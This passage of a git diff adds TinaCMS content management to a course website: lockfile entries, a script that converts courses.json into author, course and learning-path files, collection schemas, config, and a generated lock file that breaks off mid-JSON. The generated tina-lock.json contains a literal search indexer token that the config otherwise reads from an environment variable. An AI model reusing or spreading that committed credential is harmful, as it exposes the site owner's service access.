+ resolution: {integrity: sha512-Egb0oFEga6f+nSgasH3E0M405Pzn6y3/9tOVanv/DLfa1YBIgcv90L18YyWnvXkRbIM17v5Kv6IT2N6g1x5tvQ==} + dev: false + + /webidl-conversions@3.0.1: + resolution: {integrity: sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==} + dev: false + + /whatwg-fetch@3.6.19: + resolution: {integrity: sha512-d67JP4dHSbm2TrpFj8AbO8DnL1JXL5J9u0Kq2xW6d0TFDbCA3Muhdt8orXC22utleTVj7Prqt82baN6RBvnEgw==} + dev: false + + /whatwg-url@5.0.0: + resolution: {integrity: sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==} + dependencies: + tr46: 0.0.3 + webidl-conversions: 3.0.1 + dev: false + + /which-module@2.0.1: + resolution: {integrity: sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==} + dev: false + + /wrap-ansi@6.2.0: + resolution: {integrity: sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==} + engines: {node: '>=8'} + dependencies: + ansi-styles: 4.3.0 + string-width: 4.2.3 + strip-ansi: 6.0.1 + dev: false + + /wrap-ansi@7.0.0: + resolution: {integrity: sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==} + engines: {node: '>=10'} + dependencies: + ansi-styles: 4.3.0 + string-width: 4.2.3 + strip-ansi: 6.0.1 + dev: false + + /wrappy@1.0.2: + resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==} + dev: false + + /xtend@4.0.2: + resolution: {integrity: sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==} + engines: {node: '>=0.4'} + dev: false + + /y18n@4.0.3: + resolution: {integrity: sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==} + dev: false + + /y18n@5.0.8: + resolution: {integrity: sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==} + engines: {node: '>=10'} + dev: false + + /yallist@3.1.1: + resolution: {integrity: sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==} + dev: false + + /yallist@4.0.0: + resolution: {integrity: sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==} + dev: false + + /yaml@1.10.2: + resolution: {integrity: sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==} + engines: {node: '>= 6'} + dev: false + + /yaml@2.3.4: + resolution: {integrity: sha512-8aAvwVUSHpfEqTQ4w/KMlf3HcRdt50E5ODIQJBw1fQ5RL34xabzxtUlzTXVqc4rkZsPbvrXKWnABCD7kWSmocA==} + engines: {node: '>= 14'} + dev: false + + /yargs-parser@18.1.3: + resolution: {integrity: sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==} + engines: {node: '>=6'} + dependencies: + camelcase: 5.3.1 + decamelize: 1.2.0 + dev: false + + /yargs-parser@21.1.1: + resolution: {integrity: sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==} + engines: {node: '>=12'} + dev: false + + /yargs@15.4.1: + resolution: {integrity: sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==} + engines: {node: '>=8'} + dependencies: + cliui: 6.0.0 + decamelize: 1.2.0 + find-up: 4.1.0 + get-caller-file: 2.0.5 + require-directory: 2.1.1 + require-main-filename: 2.0.0 + set-blocking: 2.0.0 + string-width: 4.2.3 + which-module: 2.0.1 + y18n: 4.0.3 + yargs-parser: 18.1.3 + dev: false + + /yargs@17.7.2: + resolution: {integrity: sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==} + engines: {node: '>=12'} + dependencies: + cliui: 8.0.1 + escalade: 3.1.1 + get-caller-file: 2.0.5 + require-directory: 2.1.1 + string-width: 4.2.3 + y18n: 5.0.8 + yargs-parser: 21.1.1 + dev: false + + /yarn@1.22.21: + resolution: {integrity: sha512-ynXaJsADJ9JiZ84zU25XkPGOvVMmZ5b7tmTSpKURYwgELdjucAOydqIOrOfTxVYcNXe91xvLZwcRh68SR3liCg==} + engines: {node: '>=4.0.0'} + hasBin: true + requiresBuild: true + dev: false + + /yocto-queue@0.1.0: + resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==} + engines: {node: '>=10'} + dev: false + + /yup@0.32.11: + resolution: {integrity: sha512-Z2Fe1bn+eLstG8DRR6FTavGD+MeAwyfmouhHsIUgaADz8jvFKbO/fXc2trJKZg+5EBjh4gGm3iU/t3onKlXHIg==} + engines: {node: '>=10'} + dependencies: + '@babel/runtime': 7.23.5 + '@types/lodash': 4.14.202 + lodash: 4.17.21 + lodash-es: 4.17.21 + nanoclone: 0.2.1 + property-expr: 2.0.6 + toposort: 2.0.2 + dev: false + + /zod@3.22.4: + resolution: {integrity: sha512-iC+8Io04lddc+mVqQ9AZ7OQ2MrUKGN+oIQyq1vemgt46jwCwLfhq7/pwnBnNXXXZb8VTVLKwp9EDkx+ryxIWmg==} + dev: false + + /zustand@3.7.2(react@17.0.2): + resolution: {integrity: sha512-PIJDIZKtokhof+9+60cpockVOq05sJzHCriyvaLBmEJixseQ1a5Kdov6fWZfWOu5SK9c+FhH1jU0tntLxRJYMA==} + engines: {node: '>=12.7.0'} + peerDependencies: + react: '>=16.8' + peerDependenciesMeta: + react: + optional: true + dependencies: + react: 17.0.2 + dev: false + + /zustand@3.7.2(react@18.2.0): + resolution: {integrity: sha512-PIJDIZKtokhof+9+60cpockVOq05sJzHCriyvaLBmEJixseQ1a5Kdov6fWZfWOu5SK9c+FhH1jU0tntLxRJYMA==} + engines: {node: '>=12.7.0'} + peerDependencies: + react: '>=16.8' + peerDependenciesMeta: + react: + optional: true + dependencies: + react: 18.2.0 + dev: false + + /zwitch@2.0.4: + resolution: {integrity: sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==} + dev: false diff --git a/public/admin/.gitignore b/public/admin/.gitignore new file mode 100644 index 00000000..c6a8f8ff --- /dev/null +++ b/public/admin/.gitignore @@ -0,0 +1,2 @@ +index.html +assets/ \ No newline at end of file diff --git a/script.ts b/script.ts new file mode 100644 index 00000000..675a5353 --- /dev/null +++ b/script.ts @@ -0,0 +1,177 @@ +import crypto from "crypto"; +import fs from "fs"; +import Courses from "./courses.json"; + +const tinaCoursesPath = "content/courses"; +const tinaAuthorsPath = "content/authors"; +const learningPathsPath = "content/learning-paths"; + +const slugify = (text: string): string => { + return text + .toString() + .toLowerCase() + .replace(/\s+/g, "-") // Replace spaces with - + .replace(/[^\w-]+/g, "") // Remove all non-word chars + .replace(/--+/g, "-") // Replace multiple - with single - + .replace(/^-+/, "") // Trim - from start of text + .replace(/-+$/, ""); // Trim - from end of text +}; + +const createFolderIfNotExists = (path: string) => { + if (!fs.existsSync(path)) { + fs.mkdirSync(path); + } +}; + +type LearningPath = { + learningPathId: string; + title: string; + courses: { + course: string; + }[]; +}; + +const capitalize = (text: string) => { + const words = text.split(" "); + const capitalizedWords = words + .map((word) => word.charAt(0).toUpperCase() + word.slice(1)) + .join(" "); + + return capitalizedWords; +}; + +const getLearningPaths = (): LearningPath[] => { + const allLearningPaths = Courses.map((course) => { + return { + title: course.path.toLocaleLowerCase(), + course: `${tinaCoursesPath}/${course.slug}.json`, + }; + }); + + const grouped = new Map(); + + allLearningPaths.forEach((learningPath) => { + const { title, course } = learningPath; + + if (!grouped.has(title)) { + grouped.set(title, []); + } + + grouped.get(title)?.push({ course }); + }); + + return Array.from(grouped).map(([title, courses]) => { + const learningPathId = crypto.randomUUID(); + + return { + learningPathId, + title: capitalize(title), + courses, + }; + }); +}; + +const createLearningPathsFiles = () => { + const learningPaths = getLearningPaths(); + + learningPaths.forEach((learningPath) => { + const { title } = learningPath; + const slug = slugify(title); + const path = `${learningPathsPath}/${slug}.json`; + + fs.writeFile(path, JSON.stringify(learningPath, null, 2), (err) => { + if (err) throw err; + console.log(`Learning path file ${slug}.json has been saved!`); + }); + }); +}; + +const createAuthorsFiles = () => { + const allAuthors = Courses.flatMap((course) => course.authors); + const uniqueAuthors = Array.from( + new Set(allAuthors.map((author) => author.name)) + ).map((name) => { + const author = allAuthors.find((a) => a.name === name); + + if (!author) return; + + const authorId = crypto.randomUUID(); + + return { + authorId, + ...author, + }; + }); + + uniqueAuthors.forEach((author) => { + if (!author) return; + const { name } = author; + const slug = slugify(name); + const path = `${tinaAuthorsPath}/${slug}.json`; + fs.writeFile(path, JSON.stringify(author, null, 2), (err) => { + if (err) throw err; + console.log(`Author file ${slug}.json has been saved!`); + }); + }); +}; + +const createCoursesFiles = () => { + Courses.forEach((originalCourse) => { + const courseId = originalCourse.id; + + const updatedSections = originalCourse.sections.map((originalSection) => { + const sectionId = originalSection.id; + + const updatedLessons = originalSection.lessons.map((originalLesson) => { + const { id, ...lessonWithoutId } = originalLesson; // Destructure to remove id + const lessonId = id; + + return { + lessonId, + ...lessonWithoutId, + }; + }); + + const { id, ...sectionWithoutId } = originalSection; // Destructure to remove id + return { + sectionId, + ...sectionWithoutId, + lessons: updatedLessons, + }; + }); + + const updatedAuthors = originalCourse.authors.map((author) => { + const slug = slugify(author.name); + return { author: `${tinaAuthorsPath}/${slug}.json` }; + }); + + const { id, ...courseWithoutId } = originalCourse; // Destructure to remove id + const updatedCourse = { + courseId, + ...courseWithoutId, + sections: updatedSections, + authors: updatedAuthors, + path: `${learningPathsPath}/${slugify(originalCourse.path)}.json`, + createdAt: new Date().toISOString(), + updatedAt: new Date().toISOString(), + }; + + const { slug } = originalCourse; + const coursePath = `${tinaCoursesPath}/${slug}.json`; + + // Write course file + fs.writeFile(coursePath, JSON.stringify(updatedCourse, null, 2), (err) => { + if (err) throw err; + console.log(`Course file ${slug}.json has been saved!`); + }); + }); +}; + +createFolderIfNotExists("content"); +createFolderIfNotExists(tinaCoursesPath); +createFolderIfNotExists(tinaAuthorsPath); +createFolderIfNotExists(learningPathsPath); + +createLearningPathsFiles(); +createAuthorsFiles(); +createCoursesFiles(); diff --git a/static/admin/.gitignore b/static/admin/.gitignore new file mode 100644 index 00000000..c6a8f8ff --- /dev/null +++ b/static/admin/.gitignore @@ -0,0 +1,2 @@ +index.html +assets/ \ No newline at end of file diff --git a/static/security-section-1/1-tooling/tooling1.png b/static/security-section-1/1-tooling/tooling1.png new file mode 100644 index 00000000..ba11a8fc Binary files /dev/null and b/static/security-section-1/1-tooling/tooling1.png differ diff --git a/tina/.gitignore b/tina/.gitignore new file mode 100644 index 00000000..ef208df9 --- /dev/null +++ b/tina/.gitignore @@ -0,0 +1 @@ +__generated__ \ No newline at end of file diff --git a/tina/collections/author.ts b/tina/collections/author.ts new file mode 100644 index 00000000..1e9c43a5 --- /dev/null +++ b/tina/collections/author.ts @@ -0,0 +1,46 @@ +import { Collection } from "tinacms"; +import { slugify } from "../utils"; + +export const AuthorCollection: Collection = { + name: "author", + label: "Authors", + path: "content/authors", + format: "json", + ui: { + filename: { + slugify: (values) => { + return slugify(values?.name || "New Author"); + }, + }, + }, + fields: [ + { + type: "string", + name: "authorId", + label: "Author ID", + required: true, + }, + { + type: "string", + name: "name", + label: "Name", + isTitle: true, + required: true, + }, + { + type: "string", + name: "role", + label: "Role", + }, + { + type: "string", + name: "avatarUrl", + label: "Avatar URL", + }, + { + type: "string", + name: "company", + label: "Company", + }, + ], +}; diff --git a/tina/collections/course.ts b/tina/collections/course.ts new file mode 100644 index 00000000..bb4b5104 --- /dev/null +++ b/tina/collections/course.ts @@ -0,0 +1,298 @@ +import { Collection } from "tinacms"; +import { slugify } from "../utils"; + + + +export const CourseCollection: Collection = { + name: "course", + label: "Courses", + path: "content/courses", + format: "json", + ui: { + filename: { + slugify: (values) => { + return slugify(values?.title || "New Course"); + }, + }, + beforeSubmit: async ({ values }: { values: any}) => { + if (values.sections) { + values.sections.forEach((section, sectionIndex) => { + section.number = sectionIndex + 1; + + // Auto-numbering logic for lessons within each section + if (section.lessons) { + section.lessons.forEach((lesson, lessonIndex) => { + lesson.number = lessonIndex + 1; + }); + } + }); + } + return { + ...values, + updatedAt: new Date().toISOString(), + }; + }, + }, + fields: [ + { + type: "string", + name: "courseId", + label: "Course ID", + required: true, + }, + { + type: "string", + name: "slug", + label: "Slug", + required: true, + }, + { + type: "datetime", + name: "createdAt", + label: "Created At", + required: true, + ui: { + dateFormat: "MMMM DD, YYYY", + }, + }, + { + type: "datetime", + name: "updatedAt", + label: "Updated At", + required: true, + ui: { + dateFormat: "MMMM DD, YYYY", + }, + }, + { + type: "string", + name: "title", + label: "Title", + isTitle: true, + required: true, + }, + { + type: "reference", + name: "path", + label: "Path", + collections: ["learningPath"], + }, + { + type: "string", + name: "githubUrl", + label: "GitHub URL", + }, + { + type: "image", + name: "previewImg", + label: "Preview Image", + }, + { + type: "number", + name: "duration", + label: "Duration (in hours)", + required: true, + }, + { + type: "string", + name: "description", + label: "Description", + ui: { + component: "textarea", + }, + }, + { + type: "object", + name: "overview", + label: "Course Overview", + fields: [ + { + type: "string", + name: "learnings", + label: "What you will learn", + ui: { + component: "textarea", + }, + }, + { + type: "string", + name: "preRequisites", + label: "Pre-requisites", + list: true, + }, + ], + }, + { + type: "object", + name: "authors", + label: "Authors", + fields: [ + { + type: "reference", + name: "author", + label: "Author", + collections: ["author"], + }, + ], + ui: { + itemProps(item) { + const authorName = item.author + ?.split("/") + .pop() + ?.split(".") + .shift() + ?.split("-") + .map((word) => word.charAt(0).toUpperCase() + word.slice(1)) + .join(" "); + + return { label: authorName }; + }, + }, + list: true, + }, + { + type: "object", + name: "sections", + label: "Sections", + fields: [ + { + type: "string", + name: "sectionId", + label: "Section ID", + required: true, + }, + { + type: "number", + name: "number", + label: "Section Number", + required: true, + + }, + { + type: "string", + name: "slug", + label: "Slug", + required: true, + }, + { + type: "string", + name: "title", + label: "Title", + isTitle: true, + required: true, + }, + { + type: "object", + name: "lessons", + label: "Lessons", + fields: [ + { + type: "string", + name: "lessonId", + label: "Lesson ID", + required: true, + }, + { + type: "number", + name: "number", + label: "Lesson Number", + required: true, + }, + { + type: "string", + name: "slug", + label: "Slug", + required: true, + }, + { + type: "string", + name: "title", + label: "Title", + isTitle: true, + required: true, + }, + { + type: "string", + name: "description", + label: "Description", + ui: { + component: "textarea", + }, + }, + { + type: "number", + name: "duration", + label: "Duration (in minutes)", + required: true, + }, + { + type: "string", + name: "videoUrl", + label: "Video URL", + }, + { + type: "string", + name: "rawMarkdownUrl", + label: "Raw Markdown URL", + }, + { + type: "rich-text", + name: "markdownContent", + label: "Markdown Content", + isBody: true, + }, + { + type: "object", + name: "updates", + label: "Updates", + fields: [ + { + type: "string", + name: "title", + label: "Title", + isTitle: true, + required: true, + }, + { + type: "string", + name: "description", + label: "Description", + ui: { + component: "textarea", + }, + }, + { + type: "datetime", + name: "date", + label: "Date", + required: true, + ui: { + dateFormat: "MMMM DD, YYYY", + }, + }, + ], + list: true, + ui: { + itemProps(updateItem) { + return { label: updateItem.title }; + }, + }, + }, + ], + ui: { + itemProps(item) { + return { label: `${item.number}. ${item.title}` }; + }, + }, + list: true, + }, + ], + ui: { + itemProps(item) { + return { label: `${item.number}. ${item.title}` }; + }, + }, + list: true, + }, + ], +}; diff --git a/tina/collections/learning-paths.ts b/tina/collections/learning-paths.ts new file mode 100644 index 00000000..1d447216 --- /dev/null +++ b/tina/collections/learning-paths.ts @@ -0,0 +1,67 @@ +import { Collection } from "tinacms"; +import { slugify } from "../utils"; + +export const LearningPathCollection: Collection = { + name: "learningPath", + label: "Learning Paths", + path: "content/learning-paths", + format: "json", + ui: { + filename: { + slugify: (values) => { + return slugify(values?.title || "New Learning Path"); + }, + }, + }, + fields: [ + { + type: "string", + name: "learningPathId", + label: "Learning Path ID", + required: true, + }, + { + type: "string", + name: "title", + label: "Title", + isTitle: true, + required: true, + }, + { + type: "string", + name: "description", + label: "Description", + ui: { + component: "textarea", + }, + }, + { + type: "object", + name: "courses", + label: "Courses", + fields: [ + { + type: "reference", + name: "course", + label: "Course", + collections: ["course"], + }, + ], + ui: { + itemProps(item) { + const courseName = item.course + ?.split("/") + .pop() + ?.split(".") + .shift() + ?.split("-") + .map((word) => word.charAt(0).toUpperCase() + word.slice(1)) + .join(" "); + + return { label: courseName }; + }, + }, + list: true, + }, + ], +}; diff --git a/tina/collections/site.ts b/tina/collections/site.ts new file mode 100644 index 00000000..f6a3aa63 --- /dev/null +++ b/tina/collections/site.ts @@ -0,0 +1,26 @@ +import { Collection } from "tinacms"; + +export const GlobalsCollection: Collection = { + name: "globals", + label: "Globals", + path: "content/globals", + format: "json", + ui: { + allowedActions: { + create: false, + delete: false, + }, + filename: { + slugify: () => { + return "globals"; + }, + }, + }, + fields: [ + { + type: "rich-text", + name: "content", + label: "Content", + }, + ], +}; diff --git a/tina/config.tsx b/tina/config.tsx new file mode 100644 index 00000000..18a54fdb --- /dev/null +++ b/tina/config.tsx @@ -0,0 +1,42 @@ +import { defineConfig } from "tinacms"; +import { AuthorCollection } from "./collections/author"; +import { CourseCollection } from "./collections/course"; +import { GlobalsCollection } from "./collections/site"; +import { LearningPathCollection } from "./collections/learning-paths"; + +const branch = + process.env.NEXT_PUBLIC_TINA_BRANCH || + process.env.NEXT_PUBLIC_VERCEL_GIT_COMMIT_REF || + process.env.HEAD; + +export default defineConfig({ + branch, + clientId: process.env.NEXT_PUBLIC_TINA_CLIENT_ID, + token: process.env.TINA_TOKEN, + build: { + publicFolder: "public", + outputFolder: "admin", + }, + media: { + loadCustomStore: async () => { + const pack = await import("next-tinacms-cloudinary"); + return pack.TinaCloudCloudinaryMediaStore; + } + }, + schema: { + collections: [ + AuthorCollection, + LearningPathCollection, + CourseCollection, + GlobalsCollection, + ], + }, + search: { + tina: { + indexerToken: process.env.SEARCH_TOKEN, + stopwordLanguages: ['eng'], + }, + indexBatchSize: 100, + maxSearchIndexFieldLength: 100, + }, +}); diff --git a/tina/tina-lock.json b/tina/tina-lock.json new file mode 100644 index 00000000..ab827859 --- /dev/null +++ b/tina/tina-lock.json @@ -0,0 +1 @@ +{"schema":{"version":{"fullVersion":"1.4.32","major":"1","minor":"4","patch":"32"},"meta":{"flags":["experimentalData"]},"collections":[{"name":"author","label":"Authors","path":"content/authors","format":"json","ui":{"filename":{}},"fields":[{"type":"string","name":"authorId","label":"Author ID","required":true,"namespace":["author","authorId"],"searchable":true,"uid":false},{"type":"string","name":"name","label":"Name","isTitle":true,"required":true,"namespace":["author","name"],"searchable":true,"uid":false},{"type":"string","name":"role","label":"Role","namespace":["author","role"],"searchable":true,"uid":false},{"type":"string","name":"avatarUrl","label":"Avatar URL","namespace":["author","avatarUrl"],"searchable":true,"uid":false},{"type":"string","name":"company","label":"Company","namespace":["author","company"],"searchable":true,"uid":false}],"namespace":["author"]},{"name":"learningPath","label":"Learning Paths","path":"content/learning-paths","format":"json","ui":{"filename":{}},"fields":[{"type":"string","name":"learningPathId","label":"Learning Path ID","required":true,"namespace":["learningPath","learningPathId"],"searchable":true,"uid":false},{"type":"string","name":"title","label":"Title","isTitle":true,"required":true,"namespace":["learningPath","title"],"searchable":true,"uid":false},{"type":"string","name":"description","label":"Description","ui":{"component":"textarea"},"namespace":["learningPath","description"],"searchable":true,"uid":false},{"type":"object","name":"courses","label":"Courses","fields":[{"type":"reference","name":"course","label":"Course","collections":["course"],"namespace":["learningPath","courses","course"],"searchable":true,"uid":false}],"ui":{},"list":true,"namespace":["learningPath","courses"],"searchable":true,"uid":false}],"namespace":["learningPath"]},{"name":"course","label":"Courses","path":"content/courses","format":"json","ui":{"filename":{}},"fields":[{"type":"string","name":"courseId","label":"Course ID","required":true,"namespace":["course","courseId"],"searchable":true,"uid":false},{"type":"string","name":"slug","label":"Slug","required":true,"namespace":["course","slug"],"searchable":true,"uid":false},{"type":"datetime","name":"createdAt","label":"Created At","required":true,"ui":{"dateFormat":"MMMM DD, YYYY"},"namespace":["course","createdAt"],"searchable":true,"uid":false},{"type":"datetime","name":"updatedAt","label":"Updated At","required":true,"ui":{"dateFormat":"MMMM DD, YYYY"},"namespace":["course","updatedAt"],"searchable":true,"uid":false},{"type":"string","name":"title","label":"Title","isTitle":true,"required":true,"namespace":["course","title"],"searchable":true,"uid":false},{"type":"reference","name":"path","label":"Path","collections":["learningPath"],"namespace":["course","path"],"searchable":true,"uid":false},{"type":"string","name":"githubUrl","label":"GitHub URL","namespace":["course","githubUrl"],"searchable":true,"uid":false},{"type":"image","name":"previewImg","label":"Preview Image","namespace":["course","previewImg"],"searchable":false,"uid":false},{"type":"number","name":"duration","label":"Duration (in hours)","required":true,"namespace":["course","duration"],"searchable":true,"uid":false},{"type":"string","name":"description","label":"Description","ui":{"component":"textarea"},"namespace":["course","description"],"searchable":true,"uid":false},{"type":"object","name":"overview","label":"Course Overview","fields":[{"type":"string","name":"learnings","label":"What you will learn","ui":{"component":"textarea"},"namespace":["course","overview","learnings"],"searchable":true,"uid":false},{"type":"string","name":"preRequisites","label":"Pre-requisites","list":true,"namespace":["course","overview","preRequisites"],"searchable":true,"uid":false}],"namespace":["course","overview"],"searchable":true,"uid":false},{"type":"object","name":"authors","label":"Authors","fields":[{"type":"reference","name":"author","label":"Author","collections":["author"],"namespace":["course","authors","author"],"searchable":true,"uid":false}],"ui":{},"list":true,"namespace":["course","authors"],"searchable":true,"uid":false},{"type":"object","name":"sections","label":"Sections","fields":[{"type":"string","name":"sectionId","label":"Section ID","required":true,"namespace":["course","sections","sectionId"],"searchable":true,"uid":false},{"type":"number","name":"number","label":"Section Number","required":true,"namespace":["course","sections","number"],"searchable":true,"uid":false},{"type":"string","name":"slug","label":"Slug","required":true,"namespace":["course","sections","slug"],"searchable":true,"uid":false},{"type":"string","name":"title","label":"Title","isTitle":true,"required":true,"namespace":["course","sections","title"],"searchable":true,"uid":false},{"type":"object","name":"lessons","label":"Lessons","fields":[{"type":"string","name":"lessonId","label":"Lesson ID","required":true,"namespace":["course","sections","lessons","lessonId"],"searchable":true,"uid":false},{"type":"number","name":"number","label":"Lesson Number","required":true,"namespace":["course","sections","lessons","number"],"searchable":true,"uid":false},{"type":"string","name":"slug","label":"Slug","required":true,"namespace":["course","sections","lessons","slug"],"searchable":true,"uid":false},{"type":"string","name":"title","label":"Title","isTitle":true,"required":true,"namespace":["course","sections","lessons","title"],"searchable":true,"uid":false},{"type":"string","name":"description","label":"Description","ui":{"component":"textarea"},"namespace":["course","sections","lessons","description"],"searchable":true,"uid":false},{"type":"number","name":"duration","label":"Duration (in minutes)","required":true,"namespace":["course","sections","lessons","duration"],"searchable":true,"uid":false},{"type":"string","name":"videoUrl","label":"Video URL","namespace":["course","sections","lessons","videoUrl"],"searchable":true,"uid":false},{"type":"string","name":"rawMarkdownUrl","label":"Raw Markdown URL","namespace":["course","sections","lessons","rawMarkdownUrl"],"searchable":true,"uid":false},{"type":"rich-text","name":"markdownContent","label":"Markdown Content","isBody":true,"namespace":["course","sections","lessons","markdownContent"],"searchable":true,"parser":{"type":"markdown"},"uid":false},{"type":"object","name":"updates","label":"Updates","fields":[{"type":"string","name":"title","label":"Title","isTitle":true,"required":true,"namespace":["course","sections","lessons","updates","title"],"searchable":true,"uid":false},{"type":"string","name":"description","label":"Description","ui":{"component":"textarea"},"namespace":["course","sections","lessons","updates","description"],"searchable":true,"uid":false},{"type":"datetime","name":"date","label":"Date","required":true,"ui":{"dateFormat":"MMMM DD, YYYY"},"namespace":["course","sections","lessons","updates","date"],"searchable":true,"uid":false}],"list":true,"ui":{},"namespace":["course","sections","lessons","updates"],"searchable":true,"uid":false}],"ui":{},"list":true,"namespace":["course","sections","lessons"],"searchable":true,"uid":false}],"ui":{},"list":true,"namespace":["course","sections"],"searchable":true,"uid":false}],"namespace":["course"]},{"name":"globals","label":"Globals","path":"content/globals","format":"json","ui":{"allowedActions":{"create":false,"delete":false},"filename":{}},"fields":[{"type":"rich-text","name":"content","label":"Content","namespace":["globals","content"],"searchable":true,"parser":{"type":"markdown"},"uid":false}],"namespace":["globals"]}],"config":{"media":{},"search":{"tina":{"indexerToken":"faf370bb15e4ce3e810b598164921811f08709b4","stopwordLanguages":["eng"]},"indexBatchSize":100,"maxSearchIndexFieldLength":100}}},"lookup":{"DocumentConnection":{"type":"DocumentConnection","resolveType":"multiCollectionDocumentList","collections":["author","learningPath","course","globals"]},"Node":{"type":"Node","resolveType":"nodeDocument"},"DocumentNode":{"type":"DocumentNode","resolveType":"multiCollectionDocument","createDocument":"create","updateDocument":"update"},"Author":{"type":"Author","resolveType":"collectionDocument","collection":"author","createAuthor":"create","updateAuthor":"update"},"AuthorConnection":{"type":"AuthorConnection","resolveType":"collectionDocumentList","collection":"author"},"LearningPathCoursesCourse":{"type":"LearningPathCoursesCourse","resolveType":"multiCollectionDocument","createDocument":"create","updateDocument":"update"},"LearningPath":{"type":"LearningPath","resolveType":"collectionDocument","collection":"learningPath","createLearningPath":"create","updateLearningPath":"update"},"LearningPathConnection":{"type":"LearningPathConnection","resolveType":"collectionDocumentList","collection":"learningPath"},"CoursePath":{"type":"CoursePath","resolveType":"multiCollectionDocument","createDocument":"create","updateDocument":"update"},"CourseAuthorsAuthor":{"type":"CourseAuthorsAuthor","resolveType":"multiCollectionDocument","createDocument":"create","updateDocument":"update"},"Course":{"type":"Course","resolveType":"collectionDocument","collection":"course","createCourse":"create","updateCourse":"update"},"CourseConnection":{"type":"CourseConnection","resolveType":"collectionDocumentList","collection":"course"},"Globals":{"type":"Globals","resolveType":"collectionDocument","collection":"globals","createGlobals":"create","updateGlobals":"update"},"GlobalsConnection":{"type":"GlobalsConnection","resolveType":"collectionDocumentList","collection":"globals"}},"graphql":{"kind":"Document","definitions":[{"kind":"ScalarTypeDefinition","name":{"kind":"Name","value":"Reference"},"description":{"kind":"StringValue","value":"References another document, used as a foreign key"},"directives":[]},{"kind":"ScalarTypeDefinition","name":{"kind":"Name","value":"JSON"},"description":{"kind":"StringValue","value":""},"directives":[]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"SystemInfo"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"filename"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"title"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"basename"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"breadcrumbs"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"excludeExtension"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Boolean"}}}],"type":{"kind":"NonNullType","type":{"kind":"ListType","type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"path"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"relativePath"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"extension"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"template"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"collection"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Collection"}}}}]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"Folder"},"fields":[{"kind":"FieldDefinition","name":{"